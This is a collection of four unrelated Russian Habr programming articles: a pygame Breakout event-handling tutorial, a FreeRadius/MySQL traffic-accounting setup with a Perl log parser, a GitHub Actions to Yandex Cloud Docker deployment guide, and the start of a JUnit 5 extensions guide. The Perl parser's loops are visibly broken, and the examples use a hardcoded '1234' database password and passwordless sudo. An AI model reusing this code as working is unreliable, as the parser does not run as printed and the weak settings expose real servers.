В Breakout есть три типа событий: события нажатий клавиш, события мыши и события таймера. Основной цикл в классе Game обрабатывает нажатия клавиш и события мыши и передаёт их подписчикам (вызывая функцию-обработчик).
Хотя класс Game очень общий и не обладает знаниями о реализации Breakout, сама подписка и способы обработки событий очень специфичны.
### Класс Breakout
В классе Breakout реализуется большинство знаний о том, как управляется игра Breakout. В этой серии туториалов мы несколько раз встретимся с классом Breakout. Вот строки, которые регистрируют различные обработчики событий.
Нужно учесть, что *все* события клавиш (и для левой, и для правой «стрелки») передаются одному методу-обработчику ракетки.
```
# Регистрация метода handle_mouse_event() объекта кнопки
self.mouse_handlers.append(b.handle_mouse_event)
# Регистрация метода handle() ракетки для обработки событий клавиш
self.keydown_handlers[pygame.K_LEFT].append(paddle.handle)
self.keydown_handlers[pygame.K_RIGHT].append(paddle.handle)
self.keyup_handlers[pygame.K_LEFT].append(paddle.handle)
self.keyup_handlers[pygame.K_RIGHT].append(paddle.handle)
```
### Обработка нажатий клавиш
Класс Game вызывает зарегистрированные обработчики для каждого события клавиш и передаёт клавишу. Заметьте, что это не класс Paddle. В Breakout единственный объект, который интересуют подобные события — это ракетка. При нажатии или отпускании клавиши вызывается его метод `handle()`. Объекту Paddle не нужно знать, было ли это событие нажатия или отпускания клавиши, потому что он управляет текущим состоянием с помощью пары булевых переменных: `moving_left` и `moving_right`. Если `moving_left` равна True, то значит, была нажата клавиша «влево», и следующим событием будет отжатие клавиши, которое сбросит переменную. То же самое относится и к клавише «вправо». Логика проста и заключается в переключении состояния этих переменных в ответ на любое событие.
```
def handle(self, key):
if key == pygame.K_LEFT:
self.moving_left = not self.moving_left
else:
self.moving_right = not self.moving_right
```
### Обработка событий мыши
В Breakout есть игровое меню, с которым мы скоро встретимся. Кнопка меню управляет различными событиями мыши, такими как движение и нажатия кнопок (события mouse down и mouse up). В ответ на эти события кнопка обновляет переменную внутреннего состояния. Вот код обработки мыши:
```
def handle_mouse_event(self, type, pos):
if type == pygame.MOUSEMOTION:
self.handle_mouse_move(pos)
elif type == pygame.MOUSEBUTTONDOWN:
self.handle_mouse_down(pos)
elif type == pygame.MOUSEBUTTONUP:
self.handle_mouse_up(pos)
def handle_mouse_move(self, pos):
if self.bounds.collidepoint(pos):
if self.state != 'pressed':
self.state = 'hover'
else:
self.state = 'normal'
def handle_mouse_down(self, pos):
if self.bounds.collidepoint(pos):
self.state = 'pressed'
def handle_mouse_up(self, pos):
if self.state == 'pressed':
self.on_click(self)
self.state = 'hover'
```
Заметьте, что метод `handle_mouse_event()`, зарегистрированный для получения событий мыши, проверяет тип события и переадресует его к соответствующему методу, обрабатывающему этот тип события.
### Обработка событий таймера
События таймера не обрабатываются в основном цикле. Однако поскольку основной цикл вызывается в каждом кадре, легко проверить, настало ли время определённого события. Вы увидите это позже, когда мы будем обсуждать временные спецэффекты.
Ещё одной ситуацией является необходимость приостановки игры. Например, при отображении сообщения, которое игрок должен прочитать и чтобы при этом ничего его не отвлекало. Метод `show_message()` класса Breakout использует такой подход и вызывает `time.sleep()`. Вот соответствующий код:
```
import config as c
class Breakout(Game):
def show_message(self,
text,
color=colors.WHITE,
font_name='Arial',
font_size=20,
centralized=False):
message = TextObject(c.screen_width // 2,
c.screen_height // 2,
lambda: text, color,
font_name, font_size)
self.draw()
message.draw(self.surface, centralized)
pygame.display.update()
time.sleep(c.message_duration)
```
Игровой процесс
---------------
Игровой процесс (геймплей) — это то место, в котором вступают в дело правила Breakout. Геймплей заключается в перемещении различных объектов в ответ на события и в изменении состояния игры на основании их взаимодействий.
### Перемещение ракетки
Вы видели ранее, что класс Paddle реагирует на нажатия клавиш со стрелками, обновляя свои поля `moving_left` и `moving_right`. Само движение происходит в методе `update()`. Здесь выполняются определённые вычисления, если ракетка находится близко к левой или правой границе экрана. Мы не хотим, чтобы ракетка выходила за границы экрана (с учётом заданного смещения).
Поэтому если движение перемещает объект за границы, то код регулирует движение так, чтобы оно останавливалось прямо у границы. Так как ракетка движется только горизонтально, вертикальный компонент перемещения всегда равен нулю.
```
import pygame
import config as c
from game_object import GameObject
class Paddle(GameObject):
def __init__(self, x, y, w, h, color, offset):
GameObject.__init__(self, x, y, w, h)
self.color = color
self.offset = offset
self.moving_left = False
self.moving_right = False
...
def update(self):
if self.moving_left:
dx = -(min(self.offset, self.left))
elif self.moving_right:
dx = min(self.offset, c.screen_width - self.right)
else:
return
self.move(dx, 0)
```
### Перемещение мяча
Мяч просто использует функционал базового класса `GameObject`, который перемещает объекты на основании их скорости (её горизонтального и вертикального компонентов). Как мы вскоре увидим, скорость мяча определяется множеством факторов в классе Breakout. Так как движение заключается просто в прибавлении скорости к текущему положению, то направление, в котором движется мяч, полностью определяется скоростью вдоль горизонтальной и вертикальной осей.
### Задание исходной скорости мяча
Мяч в Breakout возникает из ниоткуда в самом начале игры каждый раз, когда игрок теряет жизнь. Он просто материализуется из эфира и начинает падать или ровно вниз, или под небольшим углом. Когда мяч создаётся в методе `create_ball()`, он получает скорость со случайным горизонтальным компонентом в промежутке от -2 до 2 и вертикальным компонентом, задаваемым в модуле config.py (по умолчанию задано значение 3).
```
def create_ball(self):
speed = (random.randint(-2, 2), c.ball_speed)
self.ball = Ball(c.screen_width // 2,
c.screen_height // 2,
c.ball_radius,
c.ball_color,
speed)
self.objects.append(self.ball)
```
Подведём итог
-------------
В этой части мы рассмотрели обработку таких событий, как нажатие клавиш, движение мыши и нажатие кнопок мыши. Также мы изучили некоторые элементы геймплея Breakout: перемещение ракетки, движение мяча и управление скоростью мяча.
В четвёртой части мы рассмотрим важную тему распознавания коллизий и увидим, что происходит, когда мяч ударяется об разные игровые объекты: ракетку, кирпичи, стены, потолок и пол. Затем мы уделим внимание игровому меню. Мы создадим собственные кнопки, которые используем в качестве меню и сможем при необходимости показывать и скрывать. | https://habr.com/ru/post/347256/ | null | ru | null |
# Рулим трафиком в Linux. Часть вторая.
Первую часть читайте [здесь](http://habrahabr.ru/blogs/linux/42581/).
В этой статье мы рассмотрим:
— Авторизацию пользователей из базы данных MySQL.
— Детализацию трафика по направлениям.
#### Авторизация из MySQL. FreeRadius
В предыдущей статье я не стал акцентировать внимание на настройке авторизации и оставил как есть, т.е. аккаунты пользователей хранились в текстовом файле. Это удобно, если у Вас 5-10 пользователей и пароли Вы меняете редко, но если пользователей больше, возникают трудности. Было бы куда удобней, если бы pptpd брал аккаунты пользователей из таблицы users, где уже есть логины/пароли пользователей и их айпи-адреса.
PPTPD для связи с базой данных (да и вообще, для других способо авторизации, кроме текстового файла) использует сервер авторизации Radius.
Устанавливаем:
> `root@srv:~# apt-get install freeradius freeradius-mysql radiusclient1`
Скажем PPTPD авторизоваться через radius, для этого в файл **/etc/ppp/pptpd-options** добавим строчку:
> `plugin radius.so`
Настраиваем freeradius.
Все основные конфиги хранятся в директории **/etc/freeradius**. В конфиге **radiusd.conf** найдите секцию:
> `authorize {
>
> #
>
> # The preprocess module takes care of sanitizing some bizarre
>
> # attributes in the request, and turning them into attributes
>
> # which are more standard.
>
> ...`
и раскомменитируйте параметр
> `# See "Authorization Queries" in sql.conf
>
> sql
>
> ...`
Приведите конфиг **sql.conf** к такому виду:
> `sql {
>
> driver = "rlm_sql_mysql"
>
> server = "localhost"
>
>
>
> login = "ulog"
>
> password = "1234"
>
> radius_db = "ulogdb"
>
>
>
> deletestalesessions = yes
>
>
>
> sqltrace = no
>
> sqltracefile = ${logdir}/sqltrace.sql
>
>
>
> num_sql_socks = 5
>
> connect_failure_retry_delay = 60
>
>
>
> sql_user_name = "%{User-Name}"
>
>
>
> authorize_check_query = "SELECT id, login, 'User-Password' AS \"Attribute\", `password` AS \"Value\", '==' AS \"op\" FROM users WHERE login = '%{SQL-User-Name}'"
>
> authorize_reply_query = "SELECT id, login, 'Framed-IP-Address' as \"Attribute\", ip as \"Value\", ':=' as \"op\" FROM users WHERE login = '%{SQL-User-Name}'"
>
> authorize_group_check_query = "SELECT '1' as \"id\",'default' AS \"GroupName\", 'Auth-Type' as \"Attribute\", CASE WHEN status='1' THEN 'MS-CHAP' ELSE 'REJECT' END as \"Value\", ':=' as \"op\" FROM users WHERE login='%{SQL-User-Name}'"
>
> }`
Обратите внимание на параметры **login**, **password** и **radius\_db**, укажите в них логин и пароль для доступа к нашей базе и название самой базы.
PPTPD для обращения к radius использует radiusclient, т.к. сам radius-сервер может быть отдельной машиной в сети, для их взаимодействия нужно указать «клиента» freeradius'у и «сервер» radiusclient'у.
Открываем файл **clients.conf** и находим секцию:
> `client 127.0.0.1`
измените значение параметра **secret** на какое-нибудь слово, это будет некий «пароль» для radiusclient'a:
> `secret = habrahabra`
Добавляем запись о нашем radius-сервере в файл **/etc/radiusclient/servers**:
> `localhost habrahabra`
как Вы уже заметили, второе слово — это «пароль», кторый мы указали в **clients.conf**.
По-умолчанию, radiusclient не умеет ms-chap, для этого нужен дополнительный словарь атрибутов. Копируем:
> `root@srv:~# cp /usr/share/freeradius/dictionary.microsoft /etc/radiusclient/`
Подключим его к другим словарям, добавьте в конец файла **/etc/radiusclient/dictionary** строку:
> `INCLUDE /etc/radiusclient/dictionary.microsoft`
Перезапускаем pptpd и freeradius:
> `root@srv:# /etc/init.d/freeradius restart && /etc/init.d/pptpd restart`
На этом настройка pptpd и freeradius закончена, теперь авторизация будет производится из БД. Попробуйте подключиться к серверу, если все работает, идем дальше.
#### Детализация по направлениям
Практически у всех провайдеров есть определённые «зоны тарификации», это целые подсети или диапазоны айпи-адресов, где цена за Мб трафика существенно отличается от цены за Мб внешнего трафика. Например, внутренние медиа- или игровые сервера, сервисы Yandex'a. И было бы неплохо видеть с какой зоны тарификации пришел трафик. Приступим :)
Для этого проведем модернизацию нашей базы, добавим ещё одну таблицу:
> `CREATE TABLE `zones` (
>
> `id` int(11) NOT NULL auto_increment,
>
> `name` varchar(64) NOT NULL,
>
> `firstip` bigint(20) NOT NULL,
>
> `lastip` bigint(20) NOT NULL,
>
> `prio` int(11) NOT NULL,
>
> PRIMARY KEY (`id`),
>
> UNIQUE KEY (`prio`)
>
> ) ENGINE=MyISAM DEFAULT CHARSET utf8;`
и модифицируем существующую таблицу **data**:
> `ALTER TABLE `data` ADD COLUMN `id_zone` int(11) NOT NULL;
>
> ALTER TABLE `data` ADD UNIQUE (`id_user`,`id_zone`,` ts`);`
Добавим 3 зоны тарификации:
> `# локальный трафик
>
> insert into zones (name,firstip,lastip,prio) values('local',inet_aton('10.1.0.1'),inet_aton('10.1.0.254'),0);
>
> # хабра
>
> insert into zones (name,firstip,lastip,prio) values('habrahabr',inet_aton('62.213.122.2'),inet_aton('62.213.122.2'),1);
>
> # другой внешний трафик
>
> insert into zones (name,firstip,lastip,prio) values('inet',inet_aton('0.0.0.1'),inet_aton('254.254.254.254'),2);`
Обратите внимание на значение поля **prio**, при добавлении зон тарификации вы должны исходить из правила чем дешевле трафик, тем выше его приоритет (0 — наивысший).
Скрипт парсера:
> `#!/usr/bin/perl
>
>
>
> use DBI;
>
>
>
> # функция для преобразования айпи из формы ххх.ххх.ххх.ххх в десятичную
>
> sub inet_aton {
>
> my @addr = split(/\./,$_[0]);
>
> my $dec = 0;
>
> for($n = 3; $n >= 0; $n--) {
>
> $dec += ($addr[-$n-1] << 8 * $n);
>
> }
>
> return $dec;
>
> }
>
>
>
> # определяем имя БД, пользователя и пароль
>
> my $db_name = "ulogdb";
>
> my $db_user = "ulog";
>
> my $db_pass = "1234";
>
>
>
> # путь к лог-файлу
>
> $account_log = "/var/log/ulog-acctd/account.log";
>
>
>
> # подключаемся к нашей базе
>
> my $DBH = DBI->connect("DBI:mysql:$db_name:localhost",$db_user,$db_pass) or die "Error connecting to database";
>
>
>
> # получаем список пользователей в связке ip+id_user
>
> my $STH = $DBH->prepare("select ip,id from users");
>
> $STH->execute;
>
> while (@tmp = $STH->fetchrow_array()) {
>
> $users{$tmp[0]} = $tmp[1];
>
> }
>
> $STH->finish;
>
>
>
> # получаем список сетей
>
> my $STH = $DBH->prepare("select prio,firstip,lastip,id from zones order by prio");
>
> $STH->execute;
>
> while (@tmp = $STH->fetchrow_array()) {
>
> $zones[$tmp[0]] = [$tmp[1], $tmp[2], $tmp[3]];
>
> }
>
> $STH->finish;
>
>
>
> # делаем временную копию лога и очищаем оригинальный файл
>
> system "cp $account_log /tmp/ulog-parser.tmp && cat /dev/null > $account_log";
>
> open LOGFILE,"< /tmp/ulog-parser.tmp";
>
> while () {
>
> chomp;
>
> ($ts,$saddr,$daddr,$bytes) = split /\t/;
>
>
>
> # создаем новую временную метку, необходимо для агрегирования
>
> # статистки пользователя за определенный интервал времени
>
> # в одну запись. интервалом будем считать 1 минуту
>
>
>
> $ts = $ts - $ts % 60;
>
>
>
> # сопоставляем айпи из лога со списком пользователей
>
> # если айпи имеется в базе - наш клиент
>
> # массив со статистикой имеет древовидную структуру:
>
> # метка времени -> id пользователя -> полученный трафик
>
>
>
> if (exists($users{$daddr})) {
>
> # получаем идентификатор зоны тарификации
>
> $zone\_id = 0;
>
> for($i=0;$i>=$zones;$i++) {
>
> $nip = inet\_aton($saddr);
>
> if ($zones[$i][0] <= $nip and $zones[$i][1] >= $nip) {
>
> $zone\_id = $zones[$i][2];
>
> last;
>
> }
>
> }
>
> $data{$ts}{$users{$daddr}}{$zone\_id} += $bytes;
>
> }
>
> }
>
> close LOGFILE;
>
> unlink("/tmp/ulog-parser.tmp");
>
>
>
> # немного оптимизировал запрос, спасибо хабраюзеру mgyk за подсказку :)
>
> my $STH = $DBH->prepare("insert into data (id\_user,id\_zone,ts,bytes) values(?,?,?,?) on duplicate key update bytes=bytes+?");
>
>
>
> # проходим по всему массиву статистики вложенным циклом
>
> #
>
> for $ts (keys %data) {
>
> for $id\_user (keys %{$data{$ts}}) {
>
> for $id\_zone(keys %{$data{$ts}{$id\_user}}) {
>
> $STH->execute($id\_user,$id\_zone,$ts,$data{$ts}{$id\_user}{$id\_zone},$data{$ts}{$id\_user}{$id\_zone});
>
> $STH->finish;
>
> }
>
> }
>
> }
>
> # отключаемся от БД
>
> $DBH->disconnect;`
На этом пока все, в следующей части опишу лимитирование трафика и ограничение скорости.
UPD: Упс, в код скрипта вкралась очепятка, поправил(: | https://habr.com/ru/post/42977/ | null | ru | null |
# CI/CD из GitHub в Яндекс Облако через Docker
Привет, Habr!
Heroku меньше чем через месяц станет недоступен для бесплатного использования. У многих моих знакомых, и у меня в том числе, на нем хостились несколько проектов. Поэтому встал вопрос миграции в другое облако. Остановился на Яндекс Облаке:
* Относительно невысокие цены.
* Возможность управлять как из панели, так и через CLI.
* Интеграция с GitHub Actions.
* Пробный период.
Задача
------
Есть 2 приложения: frontend и backend. Нужно выложить их на хостинг вместе. А чтобы работали вместе, склеить их с помощью nginx.
Общий вид пайплайна
-------------------
1. Пуш изменений в main.
2. Создание Docker образов.
3. Пуш образов в Docker Hub.
4. Уведомление VM об обновлениях.
Создание Docker образов
-----------------------
Используем GitHub Actions для запуска нашего пайплайна при пуше в main.
```
on:
push:
branches: [ "main" ]
```
Теперь настроим билд Docker образов.
Т.к. у меня 2 отдельных приложения (React, FastAPI) + связующее звено (nginx), то билдить лучше параллельно.
```
env:
FRONTEND_IMAGE: ${{ secrets.DOCKER_HUB_USERNAME }}/text-to-image-frontend:${{ github.sha }}
BACKEND_IMAGE: ${{ secrets.DOCKER_HUB_USERNAME }}/text-to-image-api:${{ github.sha }}
NGINX_IMAGE: ${{ secrets.DOCKER_HUB_USERNAME }}/text-to-image-nginx:${{ github.sha }}
jobs:
build-backend:
runs-on: ubuntu-latest
steps:
- name: Checkout
uses: actions/checkout@v3
- name: Login to Dockerhub
uses: docker/login-action@v2
with:
username: ${{ secrets.DOCKER_HUB_USERNAME }}
password: ${{ secrets.DOCKER_HUB_ACCESS_TOKEN }}
- name: Setup Buildx
uses: docker/setup-buildx-action@v2
- name: Build Backend
uses: docker/build-push-action@v3
with:
context: ./src/backend
file: ./src/backend/Dockerfile
push: true
tags: ${{ env.BACKEND_IMAGE }}
build-frontend:
runs-on: ubuntu-latest
steps:
- name: Checkout
uses: actions/checkout@v3
- name: Login to Dockerhub
uses: docker/login-action@v2
with:
username: ${{ secrets.DOCKER_HUB_USERNAME }}
password: ${{ secrets.DOCKER_HUB_ACCESS_TOKEN }}
- name: Setup Buildx
uses: docker/setup-buildx-action@v2
- name: Build Frontend
uses: docker/build-push-action@v3
with:
context: src/frontend
file: ./src/frontend/Dockerfile
push: true
build-args: SERVER_URL=${{ secrets.API_SERVER_URL }}
tags: ${{ env.FRONTEND_IMAGE }}
build-nginx:
runs-on: ubuntu-latest
steps:
- name: Checkout
uses: actions/checkout@v3
- name: Login to Dockerhub
uses: docker/login-action@v2
with:
username: ${{ secrets.DOCKER_HUB_USERNAME }}
password: ${{ secrets.DOCKER_HUB_ACCESS_TOKEN }}
- name: Setup Buildx
uses: docker/setup-buildx-action@v2
- name: Build Nginx for together composing
uses: docker/build-push-action@v3
with:
context: ./nginx
file: ./nginx/Dockerfile
push: true
tags: ${{ env.NGINX_IMAGE }}
```
\* Названия создаваемых образов содержат хеш коммита вместо 'latest'. Причина в том, что обновление контейнера не будет происходить, если [тег не обновился](https://cloud.yandex.ru/docs/cos/qa/#auto-update). Поэтому не стоит использовать неизменные теги.
Уведомление VM
--------------
Чтобы контейнеры в VM обновились, ее нужно уведомить. Будем использовать готовый [Action](https://github.com/yc-actions/yc-coi-deploy) для деплоя.
О создаваемой VMЭто действие создает (или обновляет существующую) виртуальную машину на базе COI (Container Optimized Image).
Для нас это означает, что это Ubuntu с предустановленными Docker и специальным демоном для его запуска.
В экшене пока доступен только docker-compose, хотя есть вариант [COI спецификации](https://cloud.yandex.ru/docs/cos/concepts/coi-specifications#coi-spec)
На этом шаге нам нужно передать:
* Ключ для сервисного аккаунта.
* Метаданные виртуальной машины.
* Docker-compose спецификацию.
* Информацию о пользователях.
#### Ключ сервисного аккаунта
Виртуальные машины создает сервисный аккаунт. Чтобы действовать от лица этого сервисного аккаунта нужно передать его ключ.
Создать этот ключ можно через CLI
```
yc iam access-key create --service-account-name sample-sa-name
```
Передавать ключ через параметр `yc-sa-json-credentials`
\* Для сервисного аккаунта необходима роль `compute.admin`, чтобы он мог создавать и обновлять виртуальные машины, а так же `resource-manager.admin` в директории (folder-id дальше) в которой машина создается
#### Метаданные VM
Для создания виртуальной машины нужно передать ее описание через параметры:
* `folder-id` - ID каталога, где будет располагаться VM (обязательно);
* `vm-name` - название виртуальной машины (обязательно);
* `vm-subnet-id` - ID подсети, в которой будет располагаться VM (обязательно);
* `vm-service-account-id` - ID сервисного аккаунта, ассоциированного с VM;
* `vm-service-account-name` - название сервисного аккаунта, если ID не передан;
* `vm-cores` - количество ядер процессора VM;
* `vm-memory` - размер RAM VM;
* `vm-core-fraction` - для vCPU в процентах;
* `vm-disk-size` - размер диска;
* `vm-zone-id` - ID зоны, в которой будет располагаться VM;
* `vm-platform-id` - ID платформы (процессора, грубо говоря).
Первые 3 - обязательные, для остальных есть значения по-умолчанию
Чтобы найти подходящие конфигурации можно собрать свою в [конфигураторе цен](https://cloud.yandex.ru/prices), а затем найти требуемые ID в [документации](https://cloud.yandex.ru/docs/compute/concepts/vm). Например, [для Intel Broadwell -vm-platform-id: 'standard-v1'](https://cloud.yandex.ru/docs/compute/concepts/vm-platforms#standard-platforms)
#### Передача docker-compose спецификации
Контейнеры будем создавать с помощью docker-compose. Путь к файлу спецификации передается через параметр `docker-compose-path`.
К этому файлу будет применяться шаблонизатор [Mustache](https://mustache.github.io/). Т.е. мы можем передавать ему параметры через переменные окружения, а для доступа к ним использовать синтаксис: `{{ env.VARIABLE_NAME }}` .
Например, так передаются названия создаваемых Docker образов и другие переменные
```
update-yc:
- name: Deploy COI VM
uses: yc-actions/yc-coi-deploy@v1.0.1
env:
BACKEND_IMAGE: ${{ env.BACKEND_IMAGE }}
FRONTEND_IMAGE: ${{ env.FRONTEND_IMAGE }}
NGINX_IMAGE: ${{ env.NGINX_IMAGE }}
FRONTEND_ORIGINS: ${{ secrets.FRONTEND_ORIGINS }}
NGINX_CERT: ${{ secrets.NGINX_CERT }}
NGINX_CERT_KEY: ${{ secrets.NGINX_CERT_KEY }}
with:
docker-compose-path: './yandex-cloud/docker-compose.yc.yaml'
```
```
version: '3.7'
services:
nginx:
image: {{ env.NGINX_IMAGE }}
ports:
- '80:80'
- '443:443'
restart: always
environment:
NGINX_CERT: {{ env.NGINX_CERT }}
NGINX_CERT_KEY: {{ env.NGINX_CERT_KEY }}
depends_on:
- frontend
- backend
frontend:
image: {{ env.FRONTEND_IMAGE }}
restart: always
backend:
image: {{ env.BACKEND_IMAGE }}
environment:
ORIGINS: {{ env.FRONTEND_ORIGINS }}
restart: always
```
#### Передача информации о пользователях
Для инициализации VM используется [cloud-init](https://cloudinit.readthedocs.io/en/latest/index.html). Пользователи создаются на основании конфигурации [cloud-config](https://cloudinit.readthedocs.io/en/latest/topics/format.html#cloud-config-data). Например, вот конфигурация для создания единственного админа:
```
#cloud-config
users:
- name: {{ env.YC_VM_USERNAME }}
groups: sudo
shell: /bin/bash
sudo: [ 'ALL=(ALL) NOPASSWD:ALL' ]
ssh_authorized_keys:
- {{ env.YC_VM_SSH }}
```
Для небольшого приложения этого достаточно.
\* Заметьте #cloud-config на первой строчке - он информирует cloud-init об использовании именно cloud-config. Его необходимо указать.
#### Итоговый step деплоя
```
update-yc:
runs-on: ubuntu-latest
needs: [build-backend, build-frontend, build-nginx]
steps:
- name: Checkout
uses: actions/checkout@v3
- name: Deploy COI VM
id: deploy-coi
uses: yc-actions/yc-coi-deploy@v1.0.1
env:
BACKEND_IMAGE: ${{ env.BACKEND_IMAGE }}
FRONTEND_IMAGE: ${{ env.FRONTEND_IMAGE }}
NGINX_IMAGE: ${{ env.NGINX_IMAGE }}
FRONTEND_ORIGINS: ${{ secrets.FRONTEND_ORIGINS }}
YC_VM_SSH: ${{ secrets.YC_VM_SSH }}
YC_VM_USERNAME: ${{ secrets.YC_VM_USERNAME }}
NGINX_CERT: ${{ secrets.NGINX_CERT }}
NGINX_CERT_KEY: ${{ secrets.NGINX_CERT_KEY }}
with:
yc-sa-json-credentials: ${{ secrets.YC_SA_JSON_CREDENTIALS }}
folder-id: ${{ secrets.YC_FOLDER_ID }}
VM-name: ${{ secrets.YC_VM_NAME }}
vm-service-account-id: ${{ secrets.YC_SERVICE_ACCOUNT_ID }}
vm-cores: 2
vm-platform-id: 'standard-v2'
vm-memory: 512Mb
vm-disk-size: 30Gb
vm-core-fraction: 5
vm-subnet-id: ${{ secrets.YC_SUBNET_ID }}
docker-compose-path: './yandex-cloud/docker-compose.yc.yaml'
user-data-path: './yandex-cloud/user-data.yaml'
```
Идея с сертификатом
-------------------
NGINX работает на 80 порту, но хотелось бы сделать работу через HTTPS.
Как вариант, можно запускать docker-compose с 2 приложениями, а NGINX будет работать вне докера и иметь сертификат устанавливаемый вручную. Но для этого нужно подключиться по ssh и скопировать его вручную.
Я выбрал другой способ: передавать сертификат и ключ через переменные окружения при старте Docker контейнера с NGINX.
Т.к. ключ создается для сертификата с переносами строк, то и передавать NGINX`у нужно тоже файл сертификата с переносами строк. При подстановке значений в docker-compose при помощи Mustache создается невалидный yaml файл, т.к. переносы строк все ломают.
Решение костыльное - заменить все переносы строк специальным символом и передавать полученные сертификат/ключ уже в новом виде. При получении сделать обратную замену.
Заменить я решил на `;`.
Скрипт для старта NGINX:
```
#!/usr/bin/env sh
if [ -z "${NGINX_CERT_KEY}" ]; then
echo "NGINX_CERT_KEY env variable is not provided. Provide private key for encrypted certificate in it"
exit 1
fi
if [ -z "${NGINX_CERT}" ]; then
echo "NGINX_CERT env variable is not provided. Provided encrypted certificate in it"
fi
mkdir -p /etc/nginx/certs
echo "$NGINX_CERT" | tr ';' '\n' > /etc/nginx/certs/certificate.crt
echo "$NGINX_CERT_KEY" | tr ';' '\n' > /etc/nginx/certs/certificate.key
nginx -g 'daemon off;'
```
Итог
----
Настройка заняла примерно 2 дня. Большая часть времени ушла на фикс косяков. Например, не добавил #cloud-config в user-data.yaml или не дал права сервисному аккаунту.
Полезные сслыки:
* [GitHub Action для пуша в Yandex Cloud Container Registry](https://nikolaymatrosov.medium.com/github-action-%D0%B4%D0%BB%D1%8F-%D0%BF%D1%83%D1%88%D0%B0-%D0%B2-yandex-cloud-container-registry-cbe91d8b0198)
* [GitHub Action для построения CD в Yandex Cloud](https://nikolaymatrosov.medium.com/github-actions-%D0%B4%D0%BB%D1%8F-%D0%BF%D0%BE%D1%81%D1%82%D1%80%D0%BE%D0%B5%D0%BD%D0%B8%D1%8F-cd-%D0%B2-yandex-cloud-dad32815af18)
В последней ссылке описаны экшены для деплоя Serverless Containers (деплой единственного образа) и Serverless Function.
Код проекта можно посмотреть [здесь](https://github.com/ashenBlade/text-2-image).
Готовое приложение: <https://text-to-image.online> | https://habr.com/ru/post/697206/ | null | ru | null |
# Полное руководство по расширениям JUnit 5
JUnit - одна из самых [популярных сред модульного тестирования](https://www.lambdatest.com/blog/9-of-the-best-java-testing-frameworks-for-2021/) в экосистеме Java. Версия JUnit 5 (также известная как Jupiter) содержит множество интересных нововведений, включая поддержку новых функций в Java 8 и выше. Однако многие разработчики по-прежнему предпочитают использовать среду JUnit 4, поскольку некоторые функции, такие как параллельное выполнение в JUnit 5 все еще находятся в экспериментальной фазе.
За исключением нескольких незначительных вещей, JUnit 5 по-прежнему представляет собой важный шаг вперед в эволюции тестовой среды, поскольку он предоставляет расширенные аннотации, которые позволяют тестировать реактивные приложения.
По моему опыту, JUnit 5 - лучшая версия JUnit. Новая структура также включает расширяемую архитектуру и совершенно новую модель расширений, которая упрощает реализацию пользовательских функций.
В этом [руководстве по JUnit](https://www.lambdatest.com/learning-hub/junit-tutorial) мы подробно рассмотрим расширения JUnit 5 - одну из основных функций платформы JUnit 5.
**СОДЕРЖАНИЕ**
* Что такого хорошего в JUnit 5?
* Архитектура JUnit 5
* Как зарегистрировать расширения JUnit 5
* Условное выполнение теста JUnit 5 с аннотациями
* Как создать расширения JUnit 5 путем реализации TestInstanceFactory
* Как протестировать обратные вызовы жизненного цикла в JUnit 5
* Постобработка тестового экземпляра в JUnit 5
* Обратный вызов перед уничтожением тестового экземпляра в JUnit 5
* Разрешение параметра в JUnit 5
* Обработка исключений в JUnit 5
* Сторонние расширения фреймворка в JUnit 5
### Что такого хорошего в JUnit 5?
Если вы использовали фреймворк JUnit 4, вы согласитесь, что существуют ограниченные (или минимальные) возможности расширения или настройки фреймворка JUnit 4. Это одно из самых узких мест в этой версии фреймворка JUnit. В JUnit 4 такие расширения, как Runners, можно создавать, просто аннотируя тестовый класс с помощью @RunWith (MyRunner.class), чтобы JUnit мог их использовать.
Обратной стороной этого подхода является то, что вы используете только один Runner для тестового класса. Это затрудняет составление нескольких бегунов. Однако недостатки, создаваемые Runners с JUnit 4, можно преодолеть с помощью следующих параметров:
* JUnit 4 использует правила в дополнение к Runners, что предоставляет вам гибкое решение для добавления или переопределения поведения каждого метода тестирования.
* Можно создавать правила для аннотирования полей тестового класса. Однако у Rules есть проблема постоянства. Проще говоря, правила могут выполняться только до и после запуска теста, но не могут быть реализованы внутри теста.
Итак, как среда JUnit 5 решает эту давнюю проблему JUnit 4? JUnit 5 предлагает механизм расширения, который открывает сторонние инструменты или API через модель расширения. Он состоит из единой и последовательной концепции API-интерфейсов расширения для преодоления ограничений конкурирующих точек расширения JUnit 4 (например, Runner, TestRule и MethodRule).
Теперь, когда мы рассмотрели суть расширений JUnit 5, вот ряд вопросов, которые возникают у разработчиков Java:
* Почему мы должны использовать расширения?
* Сколько усилий требуется для создания расширения JUnit 5?
* Модель расширения лучше, чем «Модель программирования»?
Вот что упоминается в основных принципах JUnit 5:
> ***Лучше включить новую функциональность, создав или расширив точку расширения, а не добавляя функциональность как основную.***
>
>
### Архитектура JUnit 5
Предыдущие версии фреймворка JUnit (т.е. до JUnit 4) поставлялись в одном jar файле. Однако JUnit 5 архитектурно отличается от более ранних версий JUnit. Поэтому JUnit 5 поставляется в разных модулях, используя новую архитектуру, которая разделяет API, механизм выполнения, выполнение и интеграцию.
JUnit 5 может использоваться только с версиями Java выше или равными 8. Вот три модуля, которые составляют архитектуру JUnit 5:
1. **Платформа JUnit**: предоставляет API для инструментов обнаружения и запуска тестов. Он определяет интерфейс между JUnit и клиентами, которые хотят запускать тесты из IDE, инструментов сборки или консоли.
2. **JUnit Jupiter**: предоставляет API на основе аннотаций для написания модульных тестов JUnit 5, а также механизм тестирования, который позволяет их запускать.
3. **JUnit Vintage**: предлагает механизм тестирования для запуска тестов JUnit 3 и JUnit 4, тем самым обеспечивая обратную совместимость (с более ранними версиями платформы JUnit).
Цель этой архитектуры - разделить обязанности по тестированию, выполнению и расширению. Это также облегчает интеграцию других тестовых фреймворков с фреймворком JUnit.
#### Модель программирования или Модель расширения
Если вы QA-инженер, который регулярно пишет тесты, вы обязательно будете использовать модель программирования. С другой стороны, модель расширения предоставляет несколько интерфейсов в виде API-интерфейсов расширений, которые могут быть реализованы поставщиками расширений (разработчиками или поставщиками инструментов) для расширения основных функций JUnit 5.
Архитектура JUnit 5Как видно из архитектуры JUnit 5, показанной выше, модель расширения является частью модуля Jupiter, который позволяет вам расширять основные функции JUnit 5 с помощью гибких и мощных расширений. Кроме того, расширение JUnit 5 преодолевает ограничения расширения JUnit 4, заменяя его механизмы расширения Runners и Rules. Наконец, поскольку JUnit 5 обеспечивает обратную совместимость, вы все равно можете [запускать тесты JUnit 4 с JUnit 5](https://www.lambdatest.com/blog/execute-junit4-tests-with-junit5/) .
Модель расширения JUnit Jupiter предоставляется через небольшой интерфейс в пакете *org.junit.jupiter.api.extension*, который может использоваться разработчиками или поставщиками расширений.
